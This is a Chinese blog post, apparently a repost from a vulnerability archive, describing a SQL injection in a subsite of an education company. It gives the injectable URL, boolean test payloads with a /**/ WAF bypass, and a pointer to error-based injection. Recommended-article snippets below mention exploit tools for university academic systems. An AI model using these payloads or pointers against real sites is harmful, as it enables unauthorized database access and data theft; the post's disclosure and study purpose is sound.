【漏洞学习——SQL】华图教育某分站SQL注入漏洞

最新推荐文章于 2024-10-23 09:16:57 发布
原创 最新推荐文章于 2024-10-23 09:16:57 发布 · 381 阅读 · 0 ·
CC 4.0 BY-SA版权
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。

本文介绍了一种利用特殊字符绕过WAF进行SQL注入的方法，通过使用/**/替换空格，成功实现了对目标网站的漏洞利用。文中提供了具体的URL示例，展示了如何构造注入语句并判断是否存在注入点。值得注意的是，该方法受限于注入语句的长度，但最终可通过报错注入完成攻击。

漏洞细节

有waf，比较好绕 空格用/**/替换
http://cps.huatu.com/index.php/home/gourl/?source=htjysy' and/**/1=1--+
http://cps.huatu.com/index.php/home/gourl/?source=htjysy' and/**/1=2--+
根据返回判断存在注入
不过注入语句有长度限制

最后可用报错注入

参见：https://bugs.shuimugan.com/bug/view?bug_no=175012

精选资源
瑞友天翼2024SQL注入漏洞poc
02-27
标题中的“瑞友天翼2024SQL注入漏洞poc”指的是瑞友天翼2024版本...总的来说，这个主题涉及到的是网络安全中的一个重要环节——SQL注入漏洞的检测和防范，以及如何利用POC脚本进行渗透测试，以提升Web应用的安全性。
正方教务系统新版sql注入漏洞利用工具
01-19
相信研究过正方教务系统的朋友看到过网上传播的比较多的一篇文章提的/service.asmx中的BMCheckPassword存在注入，然而现在大多数正方教务已经将BMCheckPassword移除了，导致漏洞无法利用。本人研究了/service.asmx中的其它接口，发现zfcwjk1存在同样的注入漏洞，特将注入方法写成工具供大家学习参考。 zfcwjk1似乎是一个财务类的确认接口，利用起来稍微麻烦点，需要一个目标学校的任意学号。 程序执行后，会需要用户输入三个参数。分别是： 1.目标网址 2.目标学校的任意学号 3.年份(估计是用来确定这个学号所在年份的情况，随便填个2012或者2013，不行再换） 若提示“cannot access target url”则可能是目标网址填错了或者教务系统已经将/service.asmx移除了，如果是/service.asmx被移除的话漏洞就没法再利用了。 另外，若是校内网使用则建议挂代理。。。
记某市某管理系统SQL注入漏洞
AD_CSY的博客
06-03 589
前言 近日在谷歌引擎查找到一个站点。是某市的某报到系统。漏洞已经上报CNVD，这里就当是记录分享了。 过程记录 1.进来是一个管理员登陆入口，进去了之后尝试用一些弱口令进行登录。无果，这里就暂时放弃暴力破解。尝试寻找其他突破口。 2.进入网站的主界面，有一处查询框。一般这样的搜索查询框可能会有SQL注入。 3.尝试能不能进行SQL注入。直接随便输入，然后在后面加上单引号进行验证。果然不出所料报错了，报错信息可以看出是access数据库，真让人头大。 4.由于url上没有明确显示可以注入的参数，怀疑可能
关于新正方教务系统（湖北工程学院）的one day越权漏洞的说明
小王的博客
12-19 1万+
此漏洞基于湖北工程学院教务管理系统进行演示，漏洞覆盖新正方教务系统8.0以下版本，为本人一年前提交的漏洞，所以并非0day漏洞此漏洞影响范围巨大，几乎涉及国内一半高校的教务系统，包含武汉大学、浙江工商大学等等而且据本人推测，此漏洞难以完全修复，因为我怀疑在该程序的设计阶段，权限验证模块与真实功能模块耦合度过高，所以到目前如此多的功能，已经难以完全修复所有页面了本人在发布漏洞前已和本校教务系统及公司提前沟通，并已修复了较为重要的功能模块。
正方教务管理系统后台敏感日志查看漏洞
热门推荐
弱弱的小雨鸟
01-04 3万+
正方教务管理系统作为正方软件的主打产品，从其官网了解到——截止至2012年10月，已有1,000余所高校使用了其数字化校园信息平台。从百度的最新检索结果也可见，成片成片的高校目前正在使用该教务系统。   经笔者测试，大多数高校的正方教务系统版本都存在该漏洞，在教务系统的网址后加上/log/2018-01-04-log.txt或者/log/2018-01-04-Errorlog.txt，便
2021-08-16记一次无意发现正方教务系统的bug
qq_43548154的博客
08-16 8895
前几天无意中发现了正方教务系统(版本V-7.2.7)的教师评价功能的一个问题，就是可以在越过前端校验的情况下重复提交，达到修改评分的效果，并且打分可以为负数！
利用正方教务漏洞抓取正方教务学生照片
th是个小屁孩的博客
09-08 1万+
全国据说大部分学校采用的都是正方教务的教务系统，个人感觉安全性做的真的不是很好，比起综合教务，安全性差远了，利用爬虫能非常轻易的获得教务的学生照片。这里只提供图片下载的代码，关于获取图片的url,懂点计算机的都明白（还是要吐槽一下这个教务的安全性），幸亏我们学校用的不是正方系统，不然感觉隐私泄露有点那啥啊！（逃）public static void download(String urlString
web安全——sql注入漏洞详解
weixin_61967363的博客
03-16 1712
sql注入漏洞知识讲解到检查流程总结
致翔OA漏洞学习——msglog.aspx SQL注入漏洞
记录并分享学习安全的知识点..
05-02 3100
警告 请勿使用本文提到的内容违反法律。 本文不提供任何担保 一、概述 致翔OA msglog.aspx文件存在SQL注入漏洞，攻击者通过漏洞可获取敏感信息。注：注入参数为user。
ThinkPHP的SQL注入漏洞学习
m0_61858762的博客
08-17 1145
ThinkPHP的SQL注入漏洞学习
【小迪安全day12】WEB 漏洞——SQL 注入
RichUee的博客
12-04 1099
WEB 漏洞-SQL 注入在本系列课程学习中，SQL 注入漏洞将是重点部分，其中 SQL 注入又非常复杂，区分各种数据库类型，提交方法，数据类型等注入，我们需要按部就班的学习，才能学会相关 SQL 注入的核心。同样此类漏洞是WEB 安全中严重的安全漏洞，学习如何利用，挖掘，修复也是很重要的。
正方教务管理系统数据库任意操作漏洞 _ 乌云漏洞库,乌云镜像站, WooYun 漏洞库, WooYun 镜像站1
08-03
正方教务管理系统数据库任意操作漏洞 | 乌云漏洞库,乌云镜像站, WooYun 漏洞库, WooYun 镜像站Home (/) / Bugs (/bug/ind
【免费下载】 正方教务管理系统数据库任意操作漏洞：深度解析与安全防护
gitblog_06676的博客
09-26 1857
正方教务管理系统数据库任意操作漏洞：深度解析与安全防护 【下载地址】正方教务管理系统数据库任意操作漏洞 本仓库提供了一个关于正方教务管理系统数据库任意操作漏洞的资源文件。该漏洞曾在乌云漏洞库（WooYun 漏洞库）中被记录，并由乌云镜像站保存。此资源文件详细描述了该漏洞的发现、影响以及可能的修复措施 ...
2024版最新148款CTF工具整理大全（附下载安装包）含基础环境、Web 安全、加密解密、密码爆破、文件、隐写、逆向、PWN等全套工具
最新发布
Libra1313的博客
10-23 1万+
经常会有大学生粉丝朋友私信大白，想通过打CTF比赛镀金，作为进入一线互联网大厂的门票。但是在CTF做题很多的时候都会用到工具，所以在全网苦寻CTF比赛工具安装包！
[漏洞复现]正方数字化校园平台存在任意文件上传漏洞
LiangYueSec的博客
07-12 2899
[漏洞复现]正方数字化校园平台存在任意文件上传漏洞
【漏洞学习——SSRF】腾讯某处SSRF漏洞(非常好的利用点)附利用脚本
Fly_鹏程万里
02-22 9231
漏洞细节 ## 1. 描述 本文章将概述一些经典的SSRF漏洞利用原理，从Fuzz扫描开放的服务到漏洞的自动化利用，刚好腾讯的这个漏洞点，非常适合做为案例来演示。### 1.1 漏洞信息 > 腾讯微博应用  > http://share.v.t.qq.com > SSRF利用点，参数: url > http://share.v.t.qq.com/index.php?c=s...
SQL注入漏洞实例与防护演示教程
这些资源可以帮助开发者和安全研究者更深入地了解SQL注入漏洞的原理和防御方法，也可能包含示例代码和数据库配置脚本，以供学习和测试使用。然而，获取资源时需要注意，确保来源的可靠性和安全性，避免下载可能含有...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

FLy_鹏程万里

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付：¥1
获取中
扫码支付

您的余额不足，请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值